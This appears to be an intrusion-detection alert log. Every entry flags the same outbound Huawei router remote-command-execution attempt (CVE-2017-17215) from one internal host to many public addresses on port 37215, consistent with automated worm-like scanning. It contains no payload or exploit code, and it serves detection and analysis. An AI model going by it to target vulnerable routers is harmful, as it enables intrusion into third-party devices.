2024-09-25T14:14:31.549726+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59136	197.22.35.233	37215	TCP
2024-09-25T14:14:31.549787+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33050	41.133.25.7	37215	TCP
2024-09-25T14:14:31.551588+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57136	41.216.132.188	37215	TCP
2024-09-25T14:14:31.552135+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56396	41.220.24.144	37215	TCP
2024-09-25T14:14:31.553504+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50080	41.196.53.42	37215	TCP
2024-09-25T14:14:31.553551+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40288	197.89.170.252	37215	TCP
2024-09-25T14:14:31.565414+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50032	197.218.197.167	37215	TCP
2024-09-25T14:14:31.565624+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34528	156.62.201.8	37215	TCP
2024-09-25T14:14:31.565624+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38006	41.88.209.182	37215	TCP
2024-09-25T14:14:31.565627+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38888	197.33.56.32	37215	TCP
2024-09-25T14:14:31.567085+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49798	197.208.164.58	37215	TCP
2024-09-25T14:14:31.567316+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43418	156.58.41.171	37215	TCP
2024-09-25T14:14:31.567376+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36566	197.99.236.196	37215	TCP
2024-09-25T14:14:31.567420+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42020	41.74.74.240	37215	TCP
2024-09-25T14:14:31.567682+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60004	41.58.52.85	37215	TCP
2024-09-25T14:14:31.570212+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42716	197.253.41.239	37215	TCP
2024-09-25T14:14:31.581091+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59698	156.125.16.61	37215	TCP
2024-09-25T14:14:31.585144+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51580	41.80.11.132	37215	TCP
2024-09-25T14:14:31.616103+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51734	156.248.255.21	37215	TCP
2024-09-25T14:14:31.672257+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42446	41.175.30.52	37215	TCP
2024-09-25T14:14:33.672667+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35064	41.50.90.84	37215	TCP
2024-09-25T14:14:33.672674+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39006	41.0.9.95	37215	TCP
2024-09-25T14:14:33.672871+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53772	197.58.23.178	37215	TCP
2024-09-25T14:14:33.672934+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48018	197.237.148.180	37215	TCP
2024-09-25T14:14:33.673101+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60004	156.167.26.116	37215	TCP
2024-09-25T14:14:33.673165+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54784	41.193.139.67	37215	TCP
2024-09-25T14:14:33.673399+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50304	41.118.111.214	37215	TCP
2024-09-25T14:14:33.673420+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54444	156.190.198.120	37215	TCP
2024-09-25T14:14:33.673447+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40414	41.206.233.3	37215	TCP
2024-09-25T14:14:33.673560+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48292	41.172.110.5	37215	TCP
2024-09-25T14:14:33.673650+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38742	156.91.174.178	37215	TCP
2024-09-25T14:14:33.673693+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54506	197.19.140.61	37215	TCP
2024-09-25T14:14:33.673693+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40650	156.32.42.163	37215	TCP
2024-09-25T14:14:33.673774+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47674	197.160.218.177	37215	TCP
2024-09-25T14:14:33.673813+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40574	197.27.71.218	37215	TCP
2024-09-25T14:14:33.674960+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37710	197.231.213.174	37215	TCP
2024-09-25T14:14:33.675275+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51548	156.77.18.48	37215	TCP
2024-09-25T14:14:33.675406+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38754	197.233.180.85	37215	TCP
2024-09-25T14:14:33.676435+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54406	41.17.5.69	37215	TCP
2024-09-25T14:14:33.676564+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57964	197.195.215.228	37215	TCP
2024-09-25T14:14:33.677044+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39770	197.144.251.169	37215	TCP
2024-09-25T14:14:33.677148+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53274	197.69.151.113	37215	TCP
2024-09-25T14:14:33.688372+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50600	156.81.106.200	37215	TCP
2024-09-25T14:14:33.688501+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52044	197.215.137.238	37215	TCP
2024-09-25T14:14:33.689026+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60278	197.105.105.62	37215	TCP
2024-09-25T14:14:33.689132+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35768	41.127.125.4	37215	TCP
2024-09-25T14:14:33.689233+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41360	41.240.99.197	37215	TCP
2024-09-25T14:14:33.689451+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58872	156.123.186.109	37215	TCP
2024-09-25T14:14:33.689545+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34452	41.218.248.203	37215	TCP
2024-09-25T14:14:33.690158+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38496	41.98.227.98	37215	TCP
2024-09-25T14:14:33.690448+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49006	41.164.245.164	37215	TCP
2024-09-25T14:14:33.690678+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42852	156.53.157.21	37215	TCP
2024-09-25T14:14:33.690696+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50604	41.144.112.76	37215	TCP
2024-09-25T14:14:33.690816+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43298	41.225.68.243	37215	TCP
2024-09-25T14:14:33.690912+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41924	197.202.40.81	37215	TCP
2024-09-25T14:14:33.690984+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37118	41.155.56.243	37215	TCP
2024-09-25T14:14:33.691061+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36572	156.7.180.15	37215	TCP
2024-09-25T14:14:33.692563+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42656	41.153.113.249	37215	TCP
2024-09-25T14:14:33.692958+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33646	156.55.88.200	37215	TCP
2024-09-25T14:14:33.692979+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37404	156.105.111.2	37215	TCP
2024-09-25T14:14:33.694588+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47486	41.222.122.162	37215	TCP
2024-09-25T14:14:33.703771+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41702	197.120.188.58	37215	TCP
2024-09-25T14:14:33.703930+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38080	41.201.175.19	37215	TCP
2024-09-25T14:14:33.704018+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35492	41.82.232.246	37215	TCP
2024-09-25T14:14:33.704088+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47026	41.203.2.228	37215	TCP
2024-09-25T14:14:33.704212+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52932	197.135.92.242	37215	TCP
2024-09-25T14:14:33.704277+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54318	41.139.18.55	37215	TCP
2024-09-25T14:14:33.704337+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59926	197.230.188.227	37215	TCP
2024-09-25T14:14:33.704402+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51782	197.239.155.59	37215	TCP
2024-09-25T14:14:33.705011+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55828	197.253.49.237	37215	TCP
2024-09-25T14:14:33.705053+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41084	41.250.164.45	37215	TCP
2024-09-25T14:14:33.705862+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49438	156.178.49.196	37215	TCP
2024-09-25T14:14:33.705868+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41954	41.108.0.157	37215	TCP
2024-09-25T14:14:33.705967+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55680	41.118.189.247	37215	TCP
2024-09-25T14:14:33.706218+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43584	197.209.0.69	37215	TCP
2024-09-25T14:14:33.706363+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54076	197.154.137.148	37215	TCP
2024-09-25T14:14:33.708936+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50892	156.85.177.51	37215	TCP
2024-09-25T14:14:33.719348+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55024	41.78.144.231	37215	TCP
2024-09-25T14:14:33.719686+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43618	156.9.136.189	37215	TCP
2024-09-25T14:14:33.719706+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46186	156.155.163.180	37215	TCP
2024-09-25T14:14:33.719769+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33312	41.120.46.143	37215	TCP
2024-09-25T14:14:33.719872+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44282	41.130.204.108	37215	TCP
2024-09-25T14:14:33.720234+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57766	41.218.100.111	37215	TCP
2024-09-25T14:14:33.720244+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50086	41.14.114.34	37215	TCP
2024-09-25T14:14:33.720254+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37776	197.125.0.253	37215	TCP
2024-09-25T14:14:33.720489+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45936	197.250.119.4	37215	TCP
2024-09-25T14:14:33.720590+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54492	197.209.97.208	37215	TCP
2024-09-25T14:14:33.720590+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44234	156.37.0.164	37215	TCP
2024-09-25T14:14:33.720656+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54992	156.180.154.78	37215	TCP
2024-09-25T14:14:33.720743+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55698	41.70.223.81	37215	TCP
2024-09-25T14:14:33.721466+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55490	156.249.130.124	37215	TCP
2024-09-25T14:14:33.721634+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54664	197.92.57.124	37215	TCP
2024-09-25T14:14:33.722089+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59384	156.22.110.107	37215	TCP
2024-09-25T14:14:33.722135+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55334	197.212.255.42	37215	TCP
2024-09-25T14:14:33.723577+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42482	41.91.175.25	37215	TCP
2024-09-25T14:14:33.723594+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56426	156.69.218.3	37215	TCP
2024-09-25T14:14:33.725640+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60822	197.48.130.100	37215	TCP
2024-09-25T14:14:33.735466+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45856	156.16.94.219	37215	TCP
2024-09-25T14:14:33.735469+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57044	156.179.106.40	37215	TCP
2024-09-25T14:14:33.735517+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54460	156.14.29.34	37215	TCP
2024-09-25T14:14:33.735530+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37074	41.37.226.104	37215	TCP
2024-09-25T14:14:33.735680+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52382	41.119.194.26	37215	TCP
2024-09-25T14:14:33.736321+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48540	41.104.163.68	37215	TCP
2024-09-25T14:14:33.736448+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41776	156.132.215.112	37215	TCP
2024-09-25T14:14:33.736450+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53468	197.75.201.244	37215	TCP
2024-09-25T14:14:33.736837+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52956	156.90.134.66	37215	TCP
2024-09-25T14:14:33.737057+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42730	156.118.4.206	37215	TCP
2024-09-25T14:14:33.737103+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49866	156.126.243.85	37215	TCP
2024-09-25T14:14:33.737374+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51040	156.2.239.14	37215	TCP
2024-09-25T14:14:33.737462+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50610	41.195.147.108	37215	TCP
2024-09-25T14:14:33.737660+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39832	156.169.23.31	37215	TCP
2024-09-25T14:14:33.737916+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50356	197.97.143.250	37215	TCP
2024-09-25T14:14:33.737997+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53284	197.121.164.75	37215	TCP
2024-09-25T14:14:33.739318+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45874	197.34.128.199	37215	TCP
2024-09-25T14:14:33.739399+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42636	197.76.33.3	37215	TCP
2024-09-25T14:14:33.739768+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51674	156.2.243.208	37215	TCP
2024-09-25T14:14:33.739854+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42568	197.17.158.253	37215	TCP
2024-09-25T14:14:33.739996+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40132	197.105.233.84	37215	TCP
2024-09-25T14:14:33.740157+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55696	197.252.100.138	37215	TCP
2024-09-25T14:14:33.740290+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45244	197.151.246.17	37215	TCP
2024-09-25T14:14:33.741716+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47130	41.254.134.205	37215	TCP
2024-09-25T14:14:33.750946+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42836	41.254.136.7	37215	TCP
2024-09-25T14:14:33.751063+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50540	197.211.174.27	37215	TCP
2024-09-25T14:14:33.751090+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34430	197.74.234.63	37215	TCP
2024-09-25T14:14:33.752490+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52706	156.225.72.240	37215	TCP
2024-09-25T14:14:33.752627+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41522	197.156.198.167	37215	TCP
2024-09-25T14:14:33.752760+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44932	41.123.151.76	37215	TCP
2024-09-25T14:14:33.766571+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48068	41.203.219.24	37215	TCP
2024-09-25T14:14:33.766701+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38276	156.113.97.1	37215	TCP
2024-09-25T14:14:33.767315+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37210	156.23.38.211	37215	TCP
2024-09-25T14:14:33.768169+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41958	197.59.27.190	37215	TCP
2024-09-25T14:14:33.770215+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59126	197.159.134.131	37215	TCP
2024-09-25T14:14:33.770236+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49670	156.165.179.233	37215	TCP
2024-09-25T14:14:33.782298+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32906	41.87.166.42	37215	TCP
2024-09-25T14:14:33.782429+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34432	156.188.18.156	37215	TCP
2024-09-25T14:14:33.785906+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60556	197.85.20.91	37215	TCP
2024-09-25T14:14:33.785940+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44262	156.196.69.185	37215	TCP
2024-09-25T14:14:33.786015+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33780	41.135.24.40	37215	TCP
2024-09-25T14:14:33.787874+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47920	41.11.24.157	37215	TCP
2024-09-25T14:14:33.787966+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43716	41.155.176.52	37215	TCP
2024-09-25T14:14:33.893495+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48026	197.212.59.163	37215	TCP
2024-09-25T14:14:33.909088+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55338	41.143.93.195	37215	TCP
2024-09-25T14:14:33.911481+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37534	41.217.97.239	37215	TCP
2024-09-25T14:14:35.857259+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46286	156.244.113.209	37215	TCP
2024-09-25T14:14:35.857313+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60508	197.211.244.130	37215	TCP
2024-09-25T14:14:35.857380+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56478	197.116.25.249	37215	TCP
2024-09-25T14:14:35.857388+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57278	156.77.1.208	37215	TCP
2024-09-25T14:14:35.857407+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32874	156.194.223.116	37215	TCP
2024-09-25T14:14:35.857411+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39036	41.131.201.238	37215	TCP
2024-09-25T14:14:35.857497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52130	156.96.234.250	37215	TCP
2024-09-25T14:14:35.857667+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54374	197.86.189.29	37215	TCP
2024-09-25T14:14:35.857897+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52732	156.222.104.69	37215	TCP
2024-09-25T14:14:35.857904+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60868	156.139.7.170	37215	TCP
2024-09-25T14:14:35.857940+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57936	156.130.48.53	37215	TCP
2024-09-25T14:14:35.857940+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35528	156.229.29.51	37215	TCP
2024-09-25T14:14:35.857980+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37622	197.123.20.78	37215	TCP
2024-09-25T14:14:35.857983+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48396	41.200.165.86	37215	TCP
2024-09-25T14:14:35.857986+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33514	41.164.78.5	37215	TCP
2024-09-25T14:14:35.858003+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60926	41.220.146.194	37215	TCP
2024-09-25T14:14:35.858841+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39100	41.89.131.221	37215	TCP
2024-09-25T14:14:35.858873+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58942	156.161.174.59	37215	TCP
2024-09-25T14:14:35.858883+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53458	156.138.102.83	37215	TCP
2024-09-25T14:14:35.858883+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58972	156.66.158.131	37215	TCP
